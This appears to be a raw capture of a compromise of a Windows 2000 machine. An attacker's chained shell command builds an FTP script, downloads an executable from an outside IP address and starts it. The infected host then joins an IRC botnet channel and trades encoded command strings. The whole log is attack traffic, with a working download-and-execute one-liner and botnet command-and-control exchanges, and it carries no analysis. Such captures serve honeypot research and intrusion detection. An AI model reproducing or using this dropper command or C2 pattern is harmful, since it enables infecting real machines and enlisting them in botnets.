VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> ATTACKER: echo open 67.148.162.33 16622 >> asr_hicyp &echo user hicypu hicypu >> asr_hicyp &echo get asr_52073.exe >> asr_hicyp &echo quit >> asr_hicyp &ftp -nv -s:asr_hicyp &start asr_52073.exe VICTIM: Connected to 67.148.162.33. ATTACKER: 220 VICTIM: USER hicypu ATTACKER: 331 VICTIM: PASS hicypu ATTACKER: 230 VICTIM: PORT 192,168,1,230,4 ATTACKER: 200 ATTACKER: RETR asr_52073.exe ATTACKER: 150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: PASS secretpass VICTIM: NICK P|fc3unq876USER n119z86g9 * 0 :USA|2K|218 ATTACKER: :hub.40795.net 001 P|fc3unq876 :P|fc3unq876!n119z86g9@192.168.1.230:hub.40795.net 1 P|fc3unq876 :Login: :hub.40795.net 376 P|fc3unq876 : VICTIM: USERHOST P|fc3unq876 ATTACKER: :hub.40795.net 302 P|fc3unq876 :P|fc3unq876=+n119z86g9@192.168.1.230 VICTIM: USERHOST P|fc3unq876MODE P|fc3unq876 JOIN #mm RSA ATTACKER: :hub.40795.net 302 P|fc3unq876 :P|fc3unq876=+n119z86g9@192.168.1.230 :hub.40795.net 221 P|fc3unq876 +:P|fc3unq876!n119z86g9@192.168.1.230 JOIN :#mm:hub.40795.net 332 P|fc3unq876 #mm :+mRPT00QScbE.IQhIO0/do540d2vZX/C8d1J0KQwLp0QRx.H16LAK1.yljhJ/pmijm1/.aaY.3NdxZ/rkMx40 VICTIM: PRIVMSG #mm :+Cpiwe/Bec9E07RQ/c0vtb4S/EdYX/xXUDj093Z0X0JV7.c0kobHn.HwIa/.lp7rj/X7JlN.YHwTF/PxQdA067AvB/I3dvk159vvk/p1d3/tEsA/0b7FNk0cuplp14Otlj1MT7lW/KzwsA.RKUWp.jZL2z0EkS7/.wqp6e1